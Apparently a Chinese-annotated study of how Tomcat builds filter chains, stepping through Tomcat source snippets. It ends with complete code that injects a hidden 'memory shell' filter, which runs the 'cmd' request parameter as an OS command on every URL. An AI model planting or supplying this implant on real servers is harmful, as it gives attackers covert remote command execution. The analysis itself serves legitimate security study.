1
<?xml version="1.0" encoding="UTF-8"?>
2
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
3
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
5
         version="4.0">
6
    <filter>
7
        <filter-name>filter</filter-name>
8
        <filter-class>filter</filter-class>
9
    </filter>
10
    <filter-mapping>
11
        <filter-name>filter</filter-name>
12
        <url-pattern>/filter</url-pattern>
13
    </filter-mapping>
14
</web-app>

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

1
filter.doFilter(request, response, this);

1
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

1
postParseSuccess = postParseRequest(req, request, res, response);
2
if (postParseSuccess) {
3
    //check valves if we support async
4
    request.setAsyncSupported(
5
            connector.getService().getContainer().getPipeline().isAsyncSupported());
6
    // Calling the container
7
    connector.getService().getContainer().getPipeline().getFirst().invoke(
8
            request, response);
9
}

1
// Create the filter chain for this request
2
ApplicationFilterChain filterChain =
3
        ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

1
StandardWrapper wrapper = (StandardWrapper) getContainer();

1
Implementation of javax.servlet.FilterChain used to manage the execution of a set of filters for a particular request. When the set of defined filters has all been executed, the next call to doFilter() will execute the servlet's service() method itself.

1
public static ApplicationFilterChain createFilterChain(ServletRequest request,
2
        Wrapper wrapper, Servlet servlet) {
3

4
    // If there is no servlet to execute, return null
5
    if (servlet == null) {
6
        return null;
7
    }
8

9
    // Create and initialize a filter chain object
10
    ApplicationFilterChain filterChain = null;
11
    if (request instanceof Request) {
12
        Request req = (Request) request;
13
        // 一般不会进入这个分支，容易报错
14
        if (Globals.IS_SECURITY_ENABLED) {
15
            // Security: Do not recycle
16
            filterChain = new ApplicationFilterChain();
17
        } else {
18
            filterChain = (ApplicationFilterChain) req.getFilterChain();
19
            if (filterChain == null) {
20
                filterChain = new ApplicationFilterChain();
21
                req.setFilterChain(filterChain);
22
            }
23
        }
24
    } else {
25
        // Request dispatcher in use
26
        filterChain = new ApplicationFilterChain();
27
    }
28

29
    filterChain.setServlet(servlet);
30
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
31

32
    // Acquire the filter mappings for this Context
33
    StandardContext context = (StandardContext) wrapper.getParent();
34
    FilterMap filterMaps[] = context.findFilterMaps();
35

36
    // If there are no filter mappings, we are done
37
    // 从这里开始如果 filterMaps 不为空，会去获取需要的 filter mappings 信息，context.findFilterMaps()从 Web 应用中拿到所有的 Filter 映射规则。把 web.xml 里写的 <filter-mapping> 标签，或者 @WebFilter 注解生成的规则，读取成一个数组
38
    if ((filterMaps == null) || (filterMaps.length == 0)) {
39
        return filterChain;
40
    }
41

42
    // Acquire the information we will need to match filter mappings
43
    // 获取调度器类型，urlpath servletname 为下文遍历匹配
44
    DispatcherType dispatcher =
45
            (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
46

47
    String requestPath = null;
48
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
49
    if (attribute != null){
50
        requestPath = attribute.toString();
51
    }
52

53
    String servletName = wrapper.getName();
54

55
    // Add the relevant path-mapped filters to this filter chain
56
    for (FilterMap filterMap : filterMaps) {
57
        if (!matchDispatcher(filterMap, dispatcher)) {
58
            continue;
59
        }
60
        if (!matchFiltersURL(filterMap, requestPath)) {
61
            continue;
62
        }
63
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
64
                context.findFilterConfig(filterMap.getFilterName());
65
        if (filterConfig == null) {
66
            // FIXME - log configuration problem
67
            continue;
68
        }
69
        // 全部匹配则将当前 filter 加入 filterChain
70
        filterChain.addFilter(filterConfig);
71
    }
72

73
    // Add filters that match on servlet name second
74
    for (FilterMap filterMap : filterMaps) {
75
        if (!matchDispatcher(filterMap, dispatcher)) {
76
            continue;
77
        }
78
        if (!matchFiltersServlet(filterMap, servletName)) {
79
            continue;
80
        }
81
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
82
                context.findFilterConfig(filterMap.getFilterName());
83
        if (filterConfig == null) {
84
            // FIXME - log configuration problem
85
            continue;
86
        }
87
        filterChain.addFilter(filterConfig);
88
    }
89
  // 第一个 for 按照 <url-pattern> 匹配，第二个按照 servlet-name 匹配
90
    // Return the completed filter chain
91
    return filterChain;
92
}

1
StandardContext context = (StandardContext) wrapper.getParent();
2
FilterMap filterMaps[] = context.findFilterMaps();

1
    /**
2
     * Add a filter mapping to this Context at the end of the current set
3
     * of filter mappings.
4
     *
5
     * @param filterMap The filter mapping to be added
6
     *
7
     * @exception IllegalArgumentException if the specified filter name
8
     *  does not match an existing filter definition, or the filter mapping
9
     *  is malformed
10
     */
11
    @Override
12
    public void addFilterMap(FilterMap filterMap) {
13
        validateFilterMap(filterMap);
14
        // Add this filter mapping to our registered set
15
        filterMaps.add(filterMap);
16
        fireContainerEvent("addFilterMap", filterMap);
17
    }
18

19

20
    /**
21
     * Add a filter mapping to this Context before the mappings defined in the
22
     * deployment descriptor but after any other mappings added via this method.
23
     *
24
     * @param filterMap The filter mapping to be added
25
     *
26
     * @exception IllegalArgumentException if the specified filter name
27
     *  does not match an existing filter definition, or the filter mapping
28
     *  is malformed
29
     */
30
    @Override
31
    public void addFilterMapBefore(FilterMap filterMap) {
32
        validateFilterMap(filterMap);
33
        // Add this filter mapping to our registered set
34
        filterMaps.addBefore(filterMap);
35
        fireContainerEvent("addFilterMap", filterMap);
36
    }

1
   /**
2
     * Add a filter to the set of filters that will be executed in this chain.
3
     *
4
     * @param filterConfig The FilterConfig for the servlet to be executed
5
     */
6
    void addFilter(ApplicationFilterConfig filterConfig) {
7

8
        // Prevent the same filter being added multiple times
9
        for(ApplicationFilterConfig filter:filters) {
10
            if(filter==filterConfig) {
11
                return;
12
            }
13
        }
14

15
        if (n == filters.length) {
16
            ApplicationFilterConfig[] newFilters =
17
                new ApplicationFilterConfig[n + INCREMENT];
18
            System.arraycopy(filters, 0, newFilters, 0, n);
19
            filters = newFilters;
20
        }
21
        filters[n++] = filterConfig;
22

23
    }

1
//// 1. 获取 standardContext 对象
2

3
// 获取 ApplicationContextFacade 类
4
ServletContext servletContext = request.getSession().getServletContext();
5

6
// 获取 ApplicationContextFacade 类中的属性 context 即ApplicationContext 类
7
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
8
applicationContextField.setAccessible(true);
9
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
10

11
// 获取 ApplicationContext 类中的属性 context 即 StandardContext 类
12
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
13
standardContextField.setAccessible(true);
14
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
15

16

17
//// 2. 创建 evil filter
18

19
public class Filter_mem implements Filter {
20

21
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
22
        String cmd=request.getParameter("cmd");
23
        try {
24
            Runtime.getRuntime().exec(cmd);
25
        } catch (IOException e) {
26
            e.printStackTrace();
27
        }catch (NullPointerException n){
28
            n.printStackTrace();
29
        }
30
    }
31
}
32

33
//// 3. 使用 FilterDef 对 filter 封装，添加比对所需要的属性，
34
Filter_mem filter = new Filter_mem();
35
String name = "Filter_mem";
36
FilterDef filterDef = new FilterDef();
37
filterDef.setFilter(filter);
38
filterDef.setFilterName(name);
39
filterDef.setFilterClass(filter.getClass().getName());
40
standardContext.addFilterDef(filterDef);
41

42

43

44
//// 4. 创建 filtermap 对象，通过以上两种 addFilterMap 方法将 filtermap 对象写入 StandardContext 对象的 filterMaps 中
45
FilterMap filterMap = new FilterMap();
46
filterMap.addURLPattern("/*");
47
filterMap.setFilterName(name);
48
filterMap.setDispatcher(DispatcherType.REQUEST.name());
49
standardContext.addFilterMapBefore(filterMap);
50

51
//// 5. 获取 standardContext 中的属性值 filterConfigs ，一个map 对象， 然后通过反射构造 ApplicationFilterConfig 对象并封装 filterDef，然后将 ApplicationFilterConfig 对象 put 进 map 。
52
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
53

54
filterConfigsField.setAccessible(true);
55

56
HashMap<String, ApplicationFilterConfig> filterConfigs =
57
        (HashMap<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
58

59

60
Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
61
            org.apache.catalina.Context.class,
62
            FilterDef.class);
63

64
constructor.setAccessible(true);
65
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
66

67
filterConfigs.put(filterName, filterConfig);